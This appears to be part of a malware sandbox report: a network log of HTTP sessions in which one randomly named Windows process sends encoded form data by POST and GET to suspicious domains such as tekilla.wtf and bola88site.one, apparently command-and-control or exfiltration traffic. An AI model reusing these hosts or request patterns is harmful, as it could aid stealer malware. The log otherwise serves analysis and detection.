7	192.168.2.4	49915	172.191.244.62	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:34:43.707895994 CEST	10911	OUT	POST /fpzw/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.tekilla.wtf Origin: http://www.tekilla.wtf Content-Type: application/x-www-form-urlencoded Content-Length: 10305 Connection: close Cache-Control: max-age=0 Referer: http://www.tekilla.wtf/fpzw/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 2d 4e 6e 6c 6c 56 76 48 3d 69 6d 52 77 54 63 61 61 4c 30 33 6a 6d 35 49 70 61 34 6f 72 51 4b 75 67 65 55 5a 66 44 70 75 78 65 30 79 63 32 6c 31 45 78 6a 6d 58 4e 65 4e 6a 36 41 79 68 45 63 57 43 6c 77 55 30 62 61 30 48 58 46 63 66 34 35 4a 5a 38 51 74 43 51 4f 53 59 30 34 66 43 34 4a 44 47 50 36 77 45 31 4b 70 64 64 35 61 4e 73 35 64 57 4a 63 33 56 30 74 30 41 52 45 37 75 6c 4f 6f 75 49 5a 68 68 45 33 65 4b 56 5a 79 75 6f 64 79 64 65 6b 49 50 65 72 39 52 54 73 71 6d 59 51 2b 34 4e 6c 70 63 53 6a 65 6b 52 54 34 52 58 6b 4f 6a 68 63 6d 6b 38 32 55 79 67 6e 44 79 65 41 35 6b 73 50 38 43 76 68 78 64 53 2b 7a 48 74 73 2f 4b 38 2b 61 74 53 47 62 72 67 5a 47 63 78 52 74 45 55 79 4a 76 34 4a 2b 34 50 34 67 33 32 6f 61 52 47 52 57 59 6a 68 34 61 58 6c 61 53 6b 6a 4f 44 65 59 37 70 36 6f 30 73 52 4d 4b 35 33 64 58 69 30 75 6f 62 45 5a 57 43 2b 6d 55 4e 59 72 59 6b 4a 65 50 30 52 59 4c 44 36 30 53 6d 57 69 79 4b 47 51 75 4f 39 51 49 31 41 42 53 2f 2f 4a 64 6e 77 4f 7a 41 74 41 30 71 69 74 4f 6e 72 38 54 41 34 [TRUNCATED] Data Ascii: -NnllVvH=imRwTcaaL03jm5Ipa4orQKugeUZfDpuxe0yc2l1ExjmXNeNj6AyhEcWClwU0ba0HXFcf45JZ8QtCQOSY04fC4JDGP6wE1Kpdd5aNs5dWJc3V0t0ARE7ulOouIZhhE3eKVZyuodydekIPer9RTsqmYQ+4NlpcSjekRT4RXkOjhcmk82UygnDyeA5ksP8CvhxdS+zHts/K8+atSGbrgZGcxRtEUyJv4J+4P4g32oaRGRWYjh4aXlaSkjODeY7p6o0sRMK53dXi0uobEZWC+mUNYrYkJeP0RYLD60SmWiyKGQuO9QI1ABS//JdnwOzAtA0qitOnr8TA4DgVC7LBY8+qhSr0XTj5OxMcNbSZtqumPVNiHtWWiKhdFi++VPR+3vndiPrCg7XC3vWizSfiM1kMtB6Xwo/JF4FUxcS0kSGgxzaEVqOZRJQnIu57k9RZW6THvXpoMOyj2V5fgZa8gQ5Ty77R56Ds2sEEOvE3GJoQR3Lk5ExT99N4GLkfZd+sCUwPvL9fv1OTsPTNDuAEZNUzWdwFZyxAPY0qBflB+VYTtzS80HVmcbpVhp1kTz14vTefYycn+6sxmnaQTNczHlzXMDU0JtWemFN3FGt8jk/HAWZNlaz6Y26M2lEVIHdd0wiFC3/4gwgJEWGD2tCW8g1i4XEaLp409IX5esyOj9nslhDlTi6Q6HtrD7J+kEzor7RVsbtnhP+nT7CGS96ByKQ034mbOrp2yT0g6PwfqShlUk5mF0hrgfwoWIfMatfob+OwxCmZ0O40s+BRBENVxD/TtVCm8VMpKJUQbbs00G+STS+GxhbK+A+m+xVUaABPUPytN5/WIPYdPonUMmvlZ7ChIHJwE25Rw/Jm586/b/g6jOSBwbVwGPHMSt3EdV5Gawq7ib/uZmMNqhJx0M2gK9LflCppDmXcLc2ckO8hjA9XZDN7qEzwnzB+6ZVTU/+nvNTqIfcnCAqXLepozGJGyw58eNigU4D5UZEFrFuE9onej9V [TRUNCATED]
Oct 8, 2024 16:34:44.171924114 CEST	195	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 08 Oct 2024 14:34:44 GMT Content-Length: 19 Connection: close Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49929	172.191.244.62	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:34:46.256012917 CEST	554	OUT	GET /fpzw/?e6mhx=LZwxPLrhqt_8A&-NnllVvH=vk5QQsijTkj0pfF2YbFfXs6zKmlYZL+gcHfTrVh5yCT2NPNs5yeYEP2CyzpPbJkscWMx5aBCkSlgAfiy0IyVw6vzCqwT6MlUYIeNh7VIWund7P0tYTSeyak= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.tekilla.wtf Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Oct 8, 2024 16:34:46.735551119 CEST	195	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 08 Oct 2024 14:34:46 GMT Content-Length: 19 Connection: close Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49965	172.96.191.39	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:34:51.919229031 CEST	818	OUT	POST /3qit/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.bola88site.one Origin: http://www.bola88site.one Content-Type: application/x-www-form-urlencoded Content-Length: 205 Connection: close Cache-Control: max-age=0 Referer: http://www.bola88site.one/3qit/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 2d 4e 6e 6c 6c 56 76 48 3d 67 31 45 79 62 67 73 31 62 6f 61 58 68 59 54 73 57 54 66 36 37 76 41 63 2b 35 75 72 4b 42 75 63 73 41 36 42 31 4a 69 30 42 38 79 4f 30 6d 61 7a 45 71 33 54 6b 66 6c 78 50 70 51 77 58 52 4f 6d 51 41 58 37 38 39 52 48 36 79 30 34 38 6a 65 4c 73 55 38 30 49 43 74 70 32 35 64 2b 42 73 62 45 44 6a 65 44 42 5a 68 31 49 31 69 61 7a 79 6e 36 74 58 6f 4c 71 49 74 7a 4d 57 64 52 65 31 69 52 74 6a 70 70 4a 49 2f 7a 58 4a 35 39 2f 58 31 2f 34 2f 77 57 46 66 51 65 58 54 5a 63 37 6e 47 65 55 49 4d 6a 66 6b 6f 31 6c 74 4e 35 2b 6b 65 6e 62 68 45 5a 73 78 54 46 46 39 6b 2b 30 2b 43 56 5a 77 3d 3d Data Ascii: -NnllVvH=g1Eybgs1boaXhYTsWTf67vAc+5urKBucsA6B1Ji0B8yO0mazEq3TkflxPpQwXROmQAX789RH6y048jeLsU80ICtp25d+BsbEDjeDBZh1I1iazyn6tXoLqItzMWdRe1iRtjppJI/zXJ59/X1/4/wWFfQeXTZc7nGeUIMjfko1ltN5+kenbhEZsxTFF9k+0+CVZw==
Oct 8, 2024 16:34:53.051943064 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Tue, 08 Oct 2024 14:34:52 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49979	172.96.191.39	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:34:54.475677967 CEST	838	OUT	POST /3qit/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.bola88site.one Origin: http://www.bola88site.one Content-Type: application/x-www-form-urlencoded Content-Length: 225 Connection: close Cache-Control: max-age=0 Referer: http://www.bola88site.one/3qit/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 2d 4e 6e 6c 6c 56 76 48 3d 67 31 45 79 62 67 73 31 62 6f 61 58 7a 6f 44 73 61 55 4c 36 36 50 41 62 67 70 75 72 44 68 75 59 73 41 32 42 31 4d 43 65 41 4f 6d 4f 30 47 71 7a 46 72 33 54 6c 66 6c 78 48 4a 51 31 64 78 50 6b 51 41 72 4e 38 2f 31 48 36 32 6b 34 38 69 75 4c 76 6c 38 33 61 69 74 72 77 35 64 77 4f 4d 62 45 44 6a 65 44 42 5a 64 66 49 31 36 61 7a 44 58 36 74 32 6f 4b 70 49 74 30 50 57 64 52 4d 46 69 56 74 6a 70 41 4a 4a 7a 5a 58 4c 78 39 2f 57 46 2f 32 4f 77 58 51 76 51 59 5a 7a 59 4f 79 6c 48 77 65 59 6c 54 41 6b 73 69 6a 63 68 39 79 43 50 39 4b 51 6c 4f 2b 78 33 32 59 36 74 4b 35 39 2f 63 43 7a 34 74 7a 4b 39 38 71 6c 31 6f 69 31 6b 45 72 42 4f 42 34 66 49 3d Data Ascii: -NnllVvH=g1Eybgs1boaXzoDsaUL66PAbgpurDhuYsA2B1MCeAOmO0GqzFr3TlflxHJQ1dxPkQArN8/1H62k48iuLvl83aitrw5dwOMbEDjeDBZdfI16azDX6t2oKpIt0PWdRMFiVtjpAJJzZXLx9/WF/2OwXQvQYZzYOylHweYlTAksijch9yCP9KQlO+x32Y6tK59/cCz4tzK98ql1oi1kErBOB4fI=
Oct 8, 2024 16:34:55.389796972 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Tue, 08 Oct 2024 14:34:55 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49990	172.96.191.39	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:34:57.036194086 CEST	10920	OUT	POST /3qit/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.bola88site.one Origin: http://www.bola88site.one Content-Type: application/x-www-form-urlencoded Content-Length: 10305 Connection: close Cache-Control: max-age=0 Referer: http://www.bola88site.one/3qit/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 2d 4e 6e 6c 6c 56 76 48 3d 67 31 45 79 62 67 73 31 62 6f 61 58 7a 6f 44 73 61 55 4c 36 36 50 41 62 67 70 75 72 44 68 75 59 73 41 32 42 31 4d 43 65 41 4f 65 4f 33 33 4b 7a 46 49 66 54 69 66 6c 78 59 35 51 30 64 78 50 6c 51 41 43 45 38 2f 35 58 36 30 73 34 36 42 6d 4c 71 52 67 33 51 69 74 72 38 5a 64 78 42 73 62 52 44 6c 2b 48 42 64 39 66 49 31 36 61 7a 41 66 36 36 33 6f 4b 76 49 74 7a 4d 57 64 56 65 31 69 39 74 69 4e 78 4a 4a 32 73 58 36 52 39 34 32 56 2f 30 38 59 58 53 50 51 61 55 54 5a 4c 79 6c 4c 7a 65 59 34 71 41 6e 77 45 6a 66 39 39 78 6b 36 4c 50 69 35 44 6c 68 54 43 46 59 46 5a 6e 4f 58 61 4c 51 77 74 77 4c 6f 6b 78 6e 4a 37 6d 47 78 31 79 79 43 58 6d 4b 62 4c 64 57 52 4a 6b 50 74 64 77 7a 62 2f 77 6f 65 78 51 77 61 65 6d 76 79 65 56 73 43 39 37 79 43 30 52 6a 38 35 51 53 6a 78 35 4d 68 4c 50 5a 47 52 73 4f 51 5a 37 64 4b 2b 43 43 53 69 4b 46 79 76 73 76 76 5a 35 58 74 32 62 2f 68 6c 39 4c 61 5a 4c 4a 55 6a 66 44 6f 43 63 57 36 5a 46 6e 39 67 6b 33 69 77 74 48 49 4d 64 59 51 51 6d 4b 45 49 58 [TRUNCATED] Data Ascii: -NnllVvH=g1Eybgs1boaXzoDsaUL66PAbgpurDhuYsA2B1MCeAOeO33KzFIfTiflxY5Q0dxPlQACE8/5X60s46BmLqRg3Qitr8ZdxBsbRDl+HBd9fI16azAf663oKvItzMWdVe1i9tiNxJJ2sX6R942V/08YXSPQaUTZLylLzeY4qAnwEjf99xk6LPi5DlhTCFYFZnOXaLQwtwLokxnJ7mGx1yyCXmKbLdWRJkPtdwzb/woexQwaemvyeVsC97yC0Rj85QSjx5MhLPZGRsOQZ7dK+CCSiKFyvsvvZ5Xt2b/hl9LaZLJUjfDoCcW6ZFn9gk3iwtHIMdYQQmKEIX5dwuOkOto+AVvrlupyo/cfS4p+SI5VJK8y0CDN6KOb53jKpnNQJWYfwwdXGdNMLG1vFo/z8ZPk4MlXOGiuXhSvZlFZ1iHzY93ge7JeLM4wfEfVYEjh2FqbE0jmxFQKLwRfj6EmCCTWVoc3HfUy++cuZm16cP0AfCl0O+Ksy24KJb5QlvxGQhePx15SmeqHw59WilHJHq5tjgsFDSXkiReUz4ZHVlitmV99Ecj8nNkS2EaDBkjgBpxKx2svy+7IYN9dfzhzO36FF8Cvk1JIKeTApD9zHUN+l3J3rT8rpGxXPmDtH1neyCFXS3oA6PIM5Wq7PBqDnelE2iG+2Y08MDcRwhsJ1cTHll2IL4bmvPBH2PSkbOoZasnfemBaDFMo9W1v+tAqNhEtZYadDMNFYazQgaJQ5s4nqTy3wNIQQ8bqnm+cUZeQK3IMOvQUjDpeINDASzIQR/sJQ+rvYeyQxpmUFSmHVDBy3LenwprPHo6wZaXNsf+n2zr3aZLf37Xnryu56sEJPG1c4hQfDf65QJqy3YKgkN7G53cRVoMKEgslsenMXc5nTg3JQaQpvvGsfZXsbZWz9Yq8J/f3HMzn07tYI5hQ6E7AgOduLxgjt2JoaWCr+XvWa7NLZXSaTZse//2Vll1THnuC67u5c7Au0/DElUj0it4509gY [TRUNCATED]
Oct 8, 2024 16:34:58.160095930 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Tue, 08 Oct 2024 14:34:57 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	50009	172.96.191.39	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:34:59.613439083 CEST	557	OUT	GET /3qit/?-NnllVvH=t3sSYQcRGIG2xp6hThC36NAa5pulFT6rmgygjruUB9PzjWbyP4PTndkMOMUzUXzJWS/x79p8zVoA5FmvnGMYRx0f6/FSPt3YGxqpBfNEWUCZ6CvMlkEJ/uE=&e6mhx=LZwxPLrhqt_8A HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.bola88site.one Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Oct 8, 2024 16:35:00.539025068 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Tue, 08 Oct 2024 14:35:00 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	50017	217.70.184.50	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:35:05.742425919 CEST	827	OUT	POST /nxfn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.languagemodel.pro Origin: http://www.languagemodel.pro Content-Type: application/x-www-form-urlencoded Content-Length: 205 Connection: close Cache-Control: max-age=0 Referer: http://www.languagemodel.pro/nxfn/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 2d 4e 6e 6c 6c 56 76 48 3d 33 68 66 69 73 5a 74 63 61 50 77 2b 44 6e 51 6e 36 6b 68 31 57 57 33 43 52 61 62 32 76 34 38 4d 45 50 69 54 49 43 71 4a 2b 4e 75 73 56 78 6f 50 4c 67 41 77 78 75 47 68 6c 6a 41 2f 42 79 6b 66 33 66 55 78 55 4b 52 57 56 56 33 33 6f 4d 4f 36 34 2b 69 4c 5a 6c 61 51 54 30 78 57 70 4b 44 2f 47 35 39 58 58 5a 78 72 78 6e 61 4e 4d 58 78 6f 43 4e 47 78 35 32 2b 49 77 4c 46 76 73 5a 54 6e 6e 32 51 6a 37 31 43 65 4b 64 4e 47 62 72 44 50 62 49 36 4e 62 51 2f 73 64 57 41 30 6a 47 31 67 64 45 41 71 74 59 49 54 69 37 5a 44 34 4a 4a 68 56 39 55 72 68 6a 57 4f 2f 68 57 34 63 57 76 56 2f 67 3d 3d Data Ascii: -NnllVvH=3hfisZtcaPw+DnQn6kh1WW3CRab2v48MEPiTICqJ+NusVxoPLgAwxuGhljA/Bykf3fUxUKRWVV33oMO64+iLZlaQT0xWpKD/G59XXZxrxnaNMXxoCNGx52+IwLFvsZTnn2Qj71CeKdNGbrDPbI6NbQ/sdWA0jG1gdEAqtYITi7ZD4JJhV9UrhjWO/hW4cWvV/g==
